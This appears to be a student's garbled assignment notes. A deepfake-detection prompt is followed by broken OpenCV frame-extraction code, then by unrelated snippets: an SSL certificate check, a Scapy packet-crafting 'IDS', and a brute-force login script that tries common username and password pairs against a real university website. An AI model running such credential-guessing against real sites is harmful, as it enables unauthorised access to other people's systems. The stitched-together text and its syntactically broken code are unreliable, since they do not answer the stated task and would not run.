ASSIGNMENT 15

Design and implement a Python script to detect Deep Fake videos utilizing the "Deepfake Detection Challenge" dataset available on Kaggle.

1. *Define the objective of the "Deepfake Detection Challenge" dataset.*

Over the last few decades, rapid progress in AI, machine learning, and deep learning has resulted in new techniques and various tools for manipulating multimedia. Though the technology has been mostly used in legitimate applications such as for entertainment and education, etc., malicious users have also exploited them for unlawful or nefarious purposes. For example, high-quality and realistic fake videos, images, or audios have been created to spread misinformation and propaganda, foment political discord and hate, or even harass and blackmail people. The manipulated, high-quality and realistic videos have become known recently as Deepfake.

Outline the key steps involved in the implementation of a Deep Fake video detection algorithm using Python.

Ans:

```
import cv2
from google .colab import drive
drive .mount (‘/covalent /drive; force.remount =true
video .path=’ /content /drive/my drive /jntusession /1mp4
cap: cv2.vedio capture (video path )
if not  cap.is opened/);
print (video file not loaded .retry with different ‘)
```

else :

frames_dir= /content /drive/my drive /jntu session /video , frames .

frame_count =0

while true :

ret, frame =cap.read( )#meta information and the actual frame .

if not ret:

frame -count =1

frame name =f(frame dir)/(frame -name

cv2.in write (frame -path ,frame)

print ((total number of frames extracted area (frame.count))

cap.release ( ).

Total number of frames extracted are 151

Image id.image name label.

1.frame 1.jpg.real

2.frame 2.jpg.fake .

```
url = "http://www.jntuh.ac.in"
common_usernames=['admin','user','test','root']
common_passwords=['password','123456','qwerty','admin']

def brute_force_login(url,username,password):
  data = {'username':username,'password':password}
  response=requests.post(url,data=data)
  if response.status_code==200:
    if 'Login successful' in response.text:
print("Login Successful - The application is penetrated:"+username +
"/"+password)
```

```
      return True
    else:
print("Login Attempt Failed:" +username + "/"+password)
      return False

for username in common_usernames:
  for password in common_passwords:
    if brute_force_login(url,username,password):
      break
```

SSL Validation Testing

```
import ssl
import OpenSSL.crypto
import socket
domain_name="www.google.com"
context=ssl.create_default_context()
with context.wrap_socket(socket.socket(socket.AF_INET),
server_hostname=domain_name) as sock:
sock.connect((domain_name,443))
ssl_info=sock.getpeercert()

print(ssl_info.get('subject','N/A'))
print(ssl_info.get('issuer','N/A'))
print(ssl_info.get('serialNumber','N/A'))
print(ssl_info.get('notBefore','N/A'))
print(ssl_info.get('notAfter','N/A'))
```

```
print(ssl_info.get('rsa_public_key',{}).get('bits','N/A'))
```

Design of an IDS

```
!pip install scapy
from scapy.all import *
from google.colab import drive
drive.mount('/content/drive',force_remount=True)
packets=[]
for i in range(10):
packets.append(Ether()/IP(dst="10.0.0.1",
src="192.168.1.1")/TCP(dport=80,sport=1234)/"GET / HTTP/1.1")
pcap_file_path="/content/drive"+ "/My Drive/"+"JNTUSessions/file.pcap"
wrpcap(pcap_file_path,packets)
from google.colab import drive
from scapy.all import *
drive.mount('/content/drive',force_remount=True)
pcap_file_path="/content/drive"+ "/My Drive/"+"JNTUSessions/file.pcap"
def analyze_packet(packet):
  if IP in packet:
src_ip=packet[IP].src
dst_ip=packet[IP].dst
    print(src_ip)
    print(dst_ip)
    if TCP in packet:
src_port=packet[TCP].sport
dst_port=packet[TCP].dport
      print(src_port)
```

```
        print(dst_port)
        ## count(src_ip) > SYN_THRESHOLD
        ## count(src_ip) > PING_SWEEP_THRESHOLD
        ## count(is_ssh_login_failed(packet)) > 10
elif UDP in packet:
src_port=packet[UDP].sport
dst_port=packet[UDP].dport
        print(src_ip)
        print(src_port)
print( )
        print(dst_ip)
        print(dst_port)
```

----------000000----------